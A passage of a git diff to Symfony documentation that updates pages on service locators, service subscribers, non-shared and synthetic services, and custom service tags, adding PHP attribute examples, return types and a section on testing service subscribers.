#[AutowireIterator('command_handler')] + private iterable $handlers, // collects all services tagged with 'command_handler' + ) { + } + + public function handle(Command $command): mixed + { + foreach ($this->handlers as $handler) { + if ($handler->supports($command)) { + return $handler->handle($command); + } + } + } + } + +.. _service-subscribers-locators_defining-service-locator: + Defining a Service Locator -------------------------- -To manually define a service locator, create a new service definition and add -the ``container.service_locator`` tag to it. Use the first argument of the -service definition to pass a collection of services to the service locator: +To manually define a service locator and inject it to another service, create an +argument of type ``service_locator``. + +Consider the following ``CommandBus`` class where you want to inject +some services into it via a service locator:: + + // src/CommandBus.php + namespace App; + + use Psr\Container\ContainerInterface; + + class CommandBus + { + public function __construct( + private ContainerInterface $locator, + ) { + } + } + +Symfony allows you to inject the service locator using YAML/XML/PHP configuration +or directly via PHP attributes: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/CommandBus.php + namespace App; + + use Psr\Container\ContainerInterface; + use Symfony\Component\DependencyInjection\Attribute\AutowireLocator; + + class CommandBus + { + public function __construct( + // creates a service locator with all the services tagged with 'app.handler' + #[AutowireLocator('app.handler')] + private ContainerInterface $locator, + ) { + } + } + + .. code-block:: yaml + + # config/services.yaml + services: + App\CommandBus: + arguments: + - !service_locator + App\FooCommand: '@app.command_handler.foo' + App\BarCommand: '@app.command_handler.bar' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\CommandBus"> + <argument type="service_locator"> + <argument key="App\FooCommand" type="service" id="app.command_handler.foo"/> + <argument key="App\BarCommand" type="service" id="app.command_handler.bar"/> + </argument> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\CommandBus; + + return function(ContainerConfigurator $container): void { + $services = $container->services(); + + $services->set(CommandBus::class) + ->args([service_locator([ + 'App\FooCommand' => service('app.command_handler.foo'), + 'App\BarCommand' => service('app.command_handler.bar'), + ])]); + }; + +As shown in the previous sections, the constructor of the ``CommandBus`` class +must type-hint its argument with ``ContainerInterface``. Then, you can get any of +the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``). + +Reusing a Service Locator in Multiple Services +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you inject the same service locator in several services, it's better to +define the service locator as a stand-alone service and then inject it in the +other services. To do so, create a new service definition using the +``ServiceLocator`` class: .. configuration-block:: @@ -266,13 +555,6 @@ service definition to pass a collection of services to the service locator: # add the following tag to the service definition: # tags: ['container.service_locator'] - # if the element has no key, the ID of the original service is used - app.another_command_handler_locator: - class: Symfony\Component\DependencyInjection\ServiceLocator - arguments: - - - - '@app.command_handler.baz' - .. code-block:: xml <!-- config/services.xml --> @@ -287,8 +569,6 @@ service definition to pass a collection of services to the service locator: <argument type="collection"> <argument key="App\FooCommand" type="service" id="app.command_handler.foo"/> <argument key="App\BarCommand" type="service" id="app.command_handler.bar"/> - <!-- if the element has no key, the ID of the original service is used --> - <argument type="service" id="app.command_handler.baz"/> </argument> <!-- if you are not using the default service autoconfiguration, @@ -307,11 +587,10 @@ service definition to pass a collection of services to the service locator: use Symfony\Component\DependencyInjection\ServiceLocator; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set('app.command_handler_locator', ServiceLocator::class) - // In versions earlier to Symfony 5.1 the service() function was called ref() ->args([[ 'App\FooCommand' => service('app.command_handler.foo'), 'App\BarCommand' => service('app.command_handler.bar'), @@ -320,13 +599,6 @@ service definition to pass a collection of services to the service locator: // add the following tag to the service definition: // ->tag('container.service_locator') ; - - // if the element has no key, the ID of the original service is used - $services->set('app.another_command_handler_locator', ServiceLocator::class) - ->args([[ - service('app.command_handler.baz'), - ]]) - ; }; .. note:: @@ -334,10 +606,27 @@ service definition to pass a collection of services to the service locator: The services defined in the service locator argument must include keys, which later become their unique identifiers inside the locator. -Now you can use the service locator by injecting it in any other service: +Now you can inject the service locator in any other services: .. configuration-block:: + .. code-block:: php-attributes + + // src/CommandBus.php + namespace App; + + use Psr\Container\ContainerInterface; + use Symfony\Component\DependencyInjection\Attribute\Autowire; + + class CommandBus + { + public function __construct( + #[Autowire(service: 'app.command_handler_locator')] + private ContainerInterface $locator, + ) { + } + } + .. code-block:: yaml # config/services.yaml @@ -369,13 +658,16 @@ Now you can use the service locator by injecting it in any other service: use App\CommandBus; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(CommandBus::class) ->args([service('app.command_handler_locator')]); }; +Using Service Locators in Compiler Passes +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + In :doc:`compiler passes </service_container/compiler_passes>` it's recommended to use the :method:`Symfony\\Component\\DependencyInjection\\Compiler\\ServiceLocatorTagPass::register` method to create the service locators. This will save you some boilerplate and @@ -385,7 +677,7 @@ will share identical locators among all the services referencing them:: use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Reference; - public function process(ContainerBuilder $container) + public function process(ContainerBuilder $container): void { // ... @@ -394,21 +686,43 @@ will share identical locators among all the services referencing them:: 'logger' => new Reference('logger'), ]; + $myService = $container->findDefinition(MyService::class); + $myService->addArgument(ServiceLocatorTagPass::register($container, $locateableServices)); } Indexing the Collection of Services ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Services passed to the service locator can define their own index using an -arbitrary attribute whose name is defined as ``index_by`` in the service locator. +By default, services passed to the service locator are indexed using their service +IDs. You can change this behavior with two options of the tagged locator (``index_by`` +and ``default_index_method``) which can be used independently or combined. -In the following example, the ``App\Handler\HandlerCollection`` locator receives -all services tagged with ``app.handler`` and they are indexed using the value -of the ``key`` tag attribute (as defined in the ``index_by`` locator option): +The ``index_by`` / ``indexAttribute`` Option +............................................ + +This option defines the name of the option/attribute that stores the value used +to index the services: .. configuration-block:: + .. code-block:: php-attributes + + // src/CommandBus.php + namespace App; + + use Psr\Container\ContainerInterface; + use Symfony\Component\DependencyInjection\Attribute\AutowireLocator; + + class CommandBus + { + public function __construct( + #[AutowireLocator('app.handler', indexAttribute: 'key')] + private ContainerInterface $locator, + ) { + } + } + .. code-block:: yaml # config/services.yaml @@ -421,7 +735,7 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option): tags: - { name: 'app.handler', key: 'handler_two' } - App\HandlerCollection: + App\Handler\HandlerCollection: # inject all services tagged with app.handler as first argument arguments: [!tagged_locator { tag: 'app.handler', index_by: 'key' }] @@ -455,8 +769,8 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option): // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(App\Handler\One::class) ->tag('app.handler', ['key' => 'handler_one']) @@ -468,58 +782,71 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option): $services->set(App\Handler\HandlerCollection::class) // inject all services tagged with app.handler as first argument - ->args([tagged_locator('app.handler', 'key')]) + ->args([tagged_locator('app.handler', indexAttribute: 'key')]) ; }; -Inside this locator you can retrieve services by index using the value of the -``key`` attribute. For example, to get the ``App\Handler\Two`` service:: +In this example, the ``index_by`` option is ``key``. All services define that +option/attribute, so that will be the value used to index the services. For example, +to get the ``App\Handler\Two`` service:: // src/Handler/HandlerCollection.php namespace App\Handler; - use Symfony\Component\DependencyInjection\ServiceLocator; + use Psr\Container\ContainerInterface; class HandlerCollection { - public function __construct(ServiceLocator $locator) + public function getHandlerTwo(ContainerInterface $locator): mixed { - $handlerTwo = $locator->get('handler_two'); + // this value is defined in the `key` option of the service + return $locator->get('handler_two'); } // ... } -Instead of defining the index in the service definition, you can return its -value in a method called ``getDefaultIndexName()`` inside the class associated -to the service:: - - // src/Handler/One.php - namespace App\Handler; +If some service doesn't define the option/attribute configured in ``index_by``, +Symfony applies this fallback process: - class One - { - public static function getDefaultIndexName(): string - { - return 'handler_one'; - } +#. If the service class defines a static method called ``getDefault<CamelCase index_by value>Name`` + (in this example, ``getDefaultKeyName()``), call it and use the returned value; +#. Otherwise, fall back to the default behavior and use the service ID. - // ... - } +The ``default_index_method`` Option +................................... -If you prefer to use another method name, add a ``default_index_method`` -attribute to the locator service defining the name of this custom method: +This option defines the name of the service class method that will be called to +get the value used to index the services: .. configuration-block:: + .. code-block:: php-attributes + + // src/CommandBus.php + namespace App; + + use Psr\Container\ContainerInterface; + use Symfony\Component\DependencyInjection\Attribute\AutowireLocator; + + class CommandBus + { + public function __construct( + #[AutowireLocator('app.handler', defaultIndexMethod: 'getLocatorKey')] + private ContainerInterface $locator, + ) { + } + } + .. code-block:: yaml # config/services.yaml services: # ... - App\HandlerCollection: - arguments: [!tagged_locator { tag: 'app.handler', index_by: 'key', default_index_method: 'myOwnMethodName' }] + App\Handler\HandlerCollection: + # inject all services tagged with app.handler as first argument + arguments: [!tagged_locator { tag: 'app.handler', default_index_method: 'getLocatorKey' }] .. code-block:: xml @@ -531,11 +858,11 @@ attribute to the locator service defining the name of this custom method: https://symfony.com/schema/dic/services/services-1.0.xsd"> <services> - <!-- ... --> <service id="App\HandlerCollection"> - <argument type="tagged_locator" tag="app.handler" index-by="key" default-index-method="myOwnMethodName"/> + <!-- inject all services tagged with app.handler as first argument --> + <argument type="tagged_locator" tag="app.handler" default-index-method="getLocatorKey"/> </service> </services> </container> @@ -545,26 +872,36 @@ attribute to the locator service defining the name of this custom method: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { - $configurator->services() + return function(ContainerConfigurator $container): void { + $container->services() ->set(App\HandlerCollection::class) - ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')]) + ->args([tagged_locator('app.handler', defaultIndexMethod: 'getLocatorKey')]) ; }; -.. note:: +If some service class doesn't define the method configured in ``default_index_method``, +Symfony will fall back to using the service ID as its index inside the locator. + +Combining the ``index_by`` and ``default_index_method`` Options +............................................................... + +You can combine both options in the same locator. Symfony will process them in +the following order: - Since code should not be responsible for defining how the locators are - going to be used, a configuration key (``key`` in the example above) must - be set so the custom method may be called as a fallback. +#. If the service defines the option/attribute configured in ``index_by``, use it; +#. If the service class defines the method configured in ``default_index_method``, use it; +#. Otherwise, fall back to using the service ID as its index inside the locator. + +.. _service-subscribers-service-subscriber-trait: Service Subscriber Trait ------------------------ -The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an +The :class:`Symfony\\Contracts\\Service\\ServiceMethodsSubscriberTrait` provides an implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface` -that looks through all methods in your class that have no arguments and a return -type. It provides a ``ServiceLocator`` for the services of those return types. +that looks through all methods in your class that are marked with the +:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It +describes the services needed by the class based on each method's return type. The service id is ``__METHOD__``. This allows you to add dependencies to your services based on type-hinted helper methods:: @@ -573,30 +910,38 @@ services based on type-hinted helper methods:: use Psr\Log\LoggerInterface; use Symfony\Component\Routing\RouterInterface; + use Symfony\Contracts\Service\Attribute\SubscribedService; + use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait; use Symfony\Contracts\Service\ServiceSubscriberInterface; - use Symfony\Contracts\Service\ServiceSubscriberTrait; class MyService implements ServiceSubscriberInterface { - use ServiceSubscriberTrait; + use ServiceMethodsSubscriberTrait; - public function doSomething() + public function doSomething(): void { // $this->router() ... // $this->logger() ... } + #[SubscribedService] private function router(): RouterInterface { return $this->container->get(__METHOD__); } + #[SubscribedService] private function logger(): LoggerInterface { return $this->container->get(__METHOD__); } } +.. versionadded:: 7.1 + + The ``ServiceMethodsSubscriberTrait`` was introduced in Symfony 7.1. + In previous Symfony versions it was called ``ServiceSubscriberTrait``. + This allows you to create helper traits like RouterAware, LoggerAware, etc... and compose your services with them:: @@ -604,9 +949,11 @@ and compose your services with them:: namespace App\Service; use Psr\Log\LoggerInterface; + use Symfony\Contracts\Service\Attribute\SubscribedService; trait LoggerAware { + #[SubscribedService] private function logger(): LoggerInterface { return $this->container->get(__CLASS__.'::'.__FUNCTION__); @@ -617,9 +964,11 @@ and compose your services with them:: namespace App\Service; use Symfony\Component\Routing\RouterInterface; + use Symfony\Contracts\Service\Attribute\SubscribedService; trait RouterAware { + #[SubscribedService] private function router(): RouterInterface { return $this->container->get(__CLASS__.'::'.__FUNCTION__); @@ -629,24 +978,134 @@ and compose your services with them:: // src/Service/MyService.php namespace App\Service; + use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait; use Symfony\Contracts\Service\ServiceSubscriberInterface; - use Symfony\Contracts\Service\ServiceSubscriberTrait; class MyService implements ServiceSubscriberInterface { - use ServiceSubscriberTrait, LoggerAware, RouterAware; + use ServiceMethodsSubscriberTrait, LoggerAware, RouterAware; - public function doSomething() + public function doSomething(): void { // $this->router() ... // $this->logger() ... } } -.. caution:: +.. warning:: When creating these helper traits, the service id cannot be ``__METHOD__`` as this will include the trait name, not the class name. Instead, use ``__CLASS__.'::'.__FUNCTION__`` as the service id. +``SubscribedService`` Attributes +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can use the ``attributes`` argument of ``SubscribedService`` to add any +of the following dependency injection attributes: + +* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire` +* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator` +* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator` +* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target` +* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated` + +Here's an example:: + + // src/Service/MyService.php + namespace App\Service; + + use Psr\Log\LoggerInterface; + use Symfony\Component\DependencyInjection\Attribute\Autowire; + use Symfony\Component\DependencyInjection\Attribute\Target; + use Symfony\Component\Routing\RouterInterface; + use Symfony\Contracts\Service\Attribute\SubscribedService; + use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait; + use Symfony\Contracts\Service\ServiceSubscriberInterface; + + class MyService implements ServiceSubscriberInterface + { + use ServiceMethodsSubscriberTrait; + + public function doSomething(): void + { + // $this->environment() ... + // $this->router() ... + // $this->logger() ... + } + + #[SubscribedService(attributes: new Autowire('%kernel.environment%'))] + private function environment(): string + { + return $this->container->get(__METHOD__); + } + + #[SubscribedService(attributes: new Autowire(service: 'router'))] + private function router(): RouterInterface + { + return $this->container->get(__METHOD__); + } + + #[SubscribedService(attributes: new Target('requestLogger'))] + private function logger(): LoggerInterface + { + return $this->container->get(__METHOD__); + } + } + +.. note:: + + The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``. + +Testing a Service Subscriber +---------------------------- + +To unit test a service subscriber, you can create a fake container:: + + use Symfony\Contracts\Service\ServiceLocatorTrait; + use Symfony\Contracts\Service\ServiceProviderInterface; + + // Create the fake services + $foo = new stdClass(); + $bar = new stdClass(); + $bar->foo = $foo; + + // Create the fake container + $container = new class([ + 'foo' => fn () => $foo, + 'bar' => fn () => $bar, + ]) implements ServiceProviderInterface { + use ServiceLocatorTrait; + }; + + // Create the service subscriber + $serviceSubscriber = new MyService($container); + // ... + +.. note:: + + When defining the service locator like this, beware that the + :method:`Symfony\\Contracts\\Service\\ServiceLocatorTrait::getProvidedServices` + of your container will use the return type of the closures as the values of the + returned array. If no return type is defined, the value will be ``?``. If you + want the values to reflect the classes of your services, the return type has + to be set on your closures. + +Another alternative is to mock it using ``PHPUnit``:: + + use Psr\Container\ContainerInterface; + + $container = $this->createMock(ContainerInterface::class); + $container->expects(self::any()) + ->method('get') + ->willReturnMap([ + ['foo', $this->createStub(Foo::class)], + ['bar', $this->createStub(Bar::class)], + ]) + ; + + $serviceSubscriber = new MyService($container); + // ... + .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern +.. _`PSR-11 container`: https://www.php-fig.org/psr/psr-11/ diff --git a/service_container/shared.rst b/service_container/shared.rst index d676f592125..4e79ae28116 100644 --- a/service_container/shared.rst +++ b/service_container/shared.rst @@ -1,6 +1,3 @@ -.. index:: - single: Service Container; Shared Services - How to Define Non Shared Services ================================= @@ -14,6 +11,19 @@ in your service definition: .. configuration-block:: + .. code-block:: php-attributes + + // src/SomeNonSharedService.php + namespace App; + + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + + #[Autoconfigure(shared: false)] + class SomeNonSharedService + { + // ... + } + .. code-block:: yaml # config/services.yaml @@ -36,8 +46,8 @@ in your service definition: use App\SomeNonSharedService; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(SomeNonSharedService::class) ->share(false); diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst index 5a3ea59d276..09b195db02c 100644 --- a/service_container/synthetic_services.rst +++ b/service_container/synthetic_services.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Synthetic Services - How to Inject Instances into the Container ------------------------------------------ @@ -18,7 +15,7 @@ from within the ``Kernel`` class:: { // ... - protected function initializeContainer() + protected function initializeContainer(): void { // ... $this->container->set('kernel', $this); @@ -66,15 +63,14 @@ configuration: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); // synthetic services don't specify a class $services->set('app.synthetic_service') ->synthetic(); }; - Now, you can inject the instance in the container using :method:`Container::set() <Symfony\\Component\\DependencyInjection\\Container::set>`:: diff --git a/service_container/tags.rst b/service_container/tags.rst index 974412cceb2..3a547042de7 100644 --- a/service_container/tags.rst +++ b/service_container/tags.rst @@ -1,7 +1,3 @@ -.. index:: - single: DependencyInjection; Tags - single: Service Container; Tags - How to Work with Service Tags ============================= @@ -41,14 +37,13 @@ example: use App\Twig\AppExtension; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(AppExtension::class) ->tag('twig.extension'); }; - Services tagged with the ``twig.extension`` tag are collected during the initialization of TwigBundle and added to Twig as extensions. @@ -60,6 +55,8 @@ and many tags require additional arguments (beyond the ``name`` parameter). **For most users, this is all you need to know**. If you want to go further and learn how to create your own custom tags, keep reading. +.. _di-instanceof: + Autoconfiguring Tags -------------------- @@ -87,7 +84,7 @@ If you want to apply tags automatically for your own services, use the .. code-block:: xml <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> <services> <!-- this config only applies to the services created by this file --> @@ -105,8 +102,8 @@ If you want to apply tags automatically for your own services, use the use App\Security\CustomInterface; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); // this config only applies to the services created by this file $services @@ -115,6 +112,30 @@ If you want to apply tags automatically for your own services, use the ->tag('app.custom_tag'); }; +.. warning:: + + If you're using PHP configuration, you need to call ``instanceof`` before + any service registration to make sure tags are correctly applied. + +It is also possible to use the ``#[AutoconfigureTag]`` attribute directly on the +base class or interface:: + + // src/Security/CustomInterface.php + namespace App\Security; + + use Symfony\Component\DependencyInjection\Attribute\AutoconfigureTag; + + #[AutoconfigureTag('app.custom_tag')] + interface CustomInterface + { + // ... + } + +.. tip:: + + If you need more capabilities to autoconfigure instances of your base class + like their laziness, their bindings or their calls for example, you may rely + on the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute. For more advanced needs, you can define the automatic tags using the :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerForAutoconfiguration` method. @@ -126,7 +147,7 @@ In a Symfony application, call this method in your kernel class:: { // ... - protected function build(ContainerBuilder $container) + protected function build(ContainerBuilder $container): void { $container->registerForAutoconfiguration(CustomInterface::class) ->addTag('app.custom_tag') @@ -134,22 +155,119 @@ In a Symfony application, call this method in your kernel class:: } } -In a Symfony bundle, call this method in the ``load()`` method of the -:doc:`bundle extension class </bundles/extension>`:: +In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` +class, call this method in the ``loadExtension()`` method of the main bundle class:: - // src/DependencyInjection/MyBundleExtension.php - class MyBundleExtension extends Extension - { - // ... + // ... + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; - public function load(array $configs, ContainerBuilder $container) + class MyBundle extends AbstractBundle + { + public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void { - $container->registerForAutoconfiguration(CustomInterface::class) + $builder + ->registerForAutoconfiguration(CustomInterface::class) ->addTag('app.custom_tag') ; } } +.. note:: + + For bundles not extending the ``AbstractBundle`` class, call this method in + the ``load()`` method of the :doc:`bundle extension class </bundles/extension>`. + +Autoconfiguration registering is not limited to interfaces. It is possible +to use PHP attributes to autoconfigure services by using the +:method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration` +method:: + + // src/Attribute/SensitiveElement.php + namespace App\Attribute; + + #[\Attribute(\Attribute::TARGET_CLASS)] + class SensitiveElement + { + public function __construct( + private string $token, + ) { + } + + public function getToken(): string + { + return $this->token; + } + } + + // src/Kernel.php + use App\Attribute\SensitiveElement; + + class Kernel extends BaseKernel + { + // ... + + protected function build(ContainerBuilder $container): void + { + // ... + + $container->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (ChildDefinition $definition, SensitiveElement $attribute, \ReflectionClass $reflector): void { + // Apply the 'app.sensitive_element' tag to all classes with SensitiveElement + // attribute, and attach the token value to the tag + $definition->addTag('app.sensitive_element', ['token' => $attribute->getToken()]); + }); + } + } + +You can also make attributes usable on methods. To do so, update the previous +example and add ``Attribute::TARGET_METHOD``:: + + // src/Attribute/SensitiveElement.php + namespace App\Attribute; + + #[\Attribute(\Attribute::TARGET_CLASS | \Attribute::TARGET_METHOD)] + class SensitiveElement + { + // ... + } + +Then, update the :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration` +call to support ``ReflectionMethod``:: + + // src/Kernel.php + use App\Attribute\SensitiveElement; + + class Kernel extends BaseKernel + { + // ... + + protected function build(ContainerBuilder $container): void + { + // ... + + $container->registerAttributeForAutoconfiguration(SensitiveElement::class, static function ( + ChildDefinition $definition, + SensitiveElement $attribute, + // update the union type to support multiple types of reflection + // you can also use the "\Reflector" interface + \ReflectionClass|\ReflectionMethod $reflector): void { + if ($reflector instanceof \ReflectionMethod) { + // ... + } + } + ); + } + } + +.. tip:: + + You can also define an attribute to be usable on properties and parameters with + ``Attribute::TARGET_PROPERTY`` and ``Attribute::TARGET_PARAMETER``; then support + ``ReflectionProperty`` and ``ReflectionParameter`` in your + :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration` + callable. + Creating custom Tags -------------------- @@ -159,9 +277,9 @@ all services that were tagged with some specific tag. This is useful in compiler passes where you can find these services and use or modify them in some specific way. -For example, if you are using Swift Mailer you might imagine that you want +For example, if you are using the Symfony Mailer component you might want to implement a "transport chain", which is a collection of classes implementing -``\Swift_Transport``. Using the chain, you'll want Swift Mailer to try several +``\MailerTransport``. Using the chain, you'll want Mailer to try several ways of transporting the message until one succeeds. To begin with, define the ``TransportChain`` class:: @@ -171,14 +289,9 @@ To begin with, define the ``TransportChain`` class:: class TransportChain { - private $transports; + private array $transports = []; - public function __construct() - { - $this->transports = []; - } - - public function addTransport(\Swift_Transport $transport) + public function addTransport(\MailerTransport $transport): void { $this->transports[] = $transport; } @@ -215,17 +328,16 @@ Then, define the chain as a service: use App\Mail\TransportChain; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(TransportChain::class); }; - Define Services with a Custom Tag ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Now you might want several of the ``\Swift_Transport`` classes to be instantiated +Now you might want several of the ``\MailerTransport`` classes to be instantiated and added to the chain automatically using the ``addTransport()`` method. For example, you may add the following transports as services: @@ -235,11 +347,11 @@ For example, you may add the following transports as services: # config/services.yaml services: - Swift_SmtpTransport: + MailerSmtpTransport: arguments: ['%mailer_host%'] tags: ['app.mail_transport'] - Swift_SendmailTransport: + MailerSendmailTransport: tags: ['app.mail_transport'] .. code-block:: xml @@ -252,13 +364,13 @@ For example, you may add the following transports as services: https://symfony.com/schema/dic/services/services-1.0.xsd"> <services> - <service id="Swift_SmtpTransport"> + <service id="MailerSmtpTransport"> <argument>%mailer_host%</argument> <tag name="app.mail_transport"/> </service> - <service id="Swift_SendmailTransport"> + <service id="MailerSendmailTransport"> <tag name="app.mail_transport"/> </service> </services> @@ -269,16 +381,15 @@ For example, you may add the following transports as services: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); - $services->set(\Swift_SmtpTransport::class) - // the param() method was introduced in Symfony 5.2. + $services->set(\MailerSmtpTransport::class) ->args([param('mailer_host')]) ->tag('app.mail_transport') ; - $services->set(\Swift_SendmailTransport::class) + $services->set(\MailerSendmailTransport::class) ->tag('app.mail_transport') ; }; @@ -305,7 +416,7 @@ container for any services with the ``app.mail_transport`` tag:: class MailTransportPass implements CompilerPassInterface { - public function process(ContainerBuilder $container) + public function process(ContainerBuilder $container): void { // always first check if the primary service is defined if (!$container->has(TransportChain::class)) { @@ -342,7 +453,7 @@ or from your kernel:: { // ... - protected function build(ContainerBuilder $container) + protected function build(ContainerBuilder $container): void { $container->addCompilerPass(new MailTransportPass()); } @@ -355,6 +466,8 @@ or from your kernel:: :ref:`components documentation <components-di-compiler-pass>` for more information. +.. _tags_additional-attributes: + Adding Additional Attributes on Tags ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -366,27 +479,20 @@ To begin with, change the ``TransportChain`` class:: class TransportChain { - private $transports; + private array $transports = []; - public function __construct() - { - $this->transports = []; - } - - public function addTransport(\Swift_Transport $transport, $alias) + public function addTransport(\MailerTransport $transport, $alias): void { $this->transports[$alias] = $transport; } - public function getTransport($alias) + public function getTransport($alias): ?\MailerTransport { - if (array_key_exists($alias, $this->transports)) { - return $this->transports[$alias]; - } + return $this->transports[$alias] ?? null; } } -As you can see, when ``addTransport()`` is called, it takes not only a ``Swift_Transport`` +As you can see, when ``addTransport()`` is called, it takes not only a ``MailerTransport`` object, but also a string alias for that transport. So, how can you allow each tagged transport service to also supply an alias? @@ -398,14 +504,14 @@ To answer this, change the service declaration: # config/services.yaml services: - Swift_SmtpTransport: + MailerSmtpTransport: arguments: ['%mailer_host%'] tags: - { name: 'app.mail_transport', alias: 'smtp' } - Swift_SendmailTransport: + MailerSendmailTransport: tags: - - { name: 'app.mail_transport', alias: 'sendmail' } + - { name: 'app.mail_transport', alias: ['sendmail', 'anotherAlias']} .. code-block:: xml @@ -417,14 +523,19 @@ To answer this, change the service declaration: https://symfony.com/schema/dic/services/services-1.0.xsd"> <services> - <service id="Swift_SmtpTransport"> + <service id="MailerSmtpTransport"> <argument>%mailer_host%</argument> <tag name="app.mail_transport" alias="smtp"/> </service> - <service id="Swift_SendmailTransport"> - <tag name="app.mail_transport" alias="sendmail"/> + <service id="MailerSendmailTransport"> + <tag name="app.mail_transport"> + <attribute name="alias"> + <attribute name="0">sendmail</attribute> + <attribute name="1">anotherAlias</attribute> + </attribute> + </tag> </service> </services> </container> @@ -434,20 +545,59 @@ To answer this, change the service declaration: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); - $services->set(\Swift_SmtpTransport::class) - // the param() method was introduced in Symfony 5.2. + $services->set(\MailerSmtpTransport::class) ->args([param('mailer_host')]) ->tag('app.mail_transport', ['alias' => 'smtp']) ; - $services->set(\Swift_SendmailTransport::class) - ->tag('app.mail_transport', ['alias' => 'sendmail']) + $services->set(\MailerSendmailTransport::class) + ->tag('app.mail_transport', ['alias' => ['sendmail', 'anotherAlias']]) ; }; +.. tip:: + + The ``name`` attribute is used by default to define the name of the tag. + If you want to add a ``name`` attribute to some tag in XML or YAML formats, + you need to use this special syntax: + + .. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + MailerSmtpTransport: + arguments: ['%mailer_host%'] + tags: + # this is a tag called 'app.mail_transport' + - { name: 'app.mail_transport', alias: 'smtp' } + # this is a tag called 'app.mail_transport' with two attributes ('name' and 'alias') + - app.mail_transport: { name: 'arbitrary-value', alias: 'smtp' } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="MailerSmtpTransport"> + <argument>%mailer_host%</argument> + <!-- this is a tag called 'app.mail_transport' --> + <tag name="app.mail_transport" alias="sendmail"/> + <!-- this is a 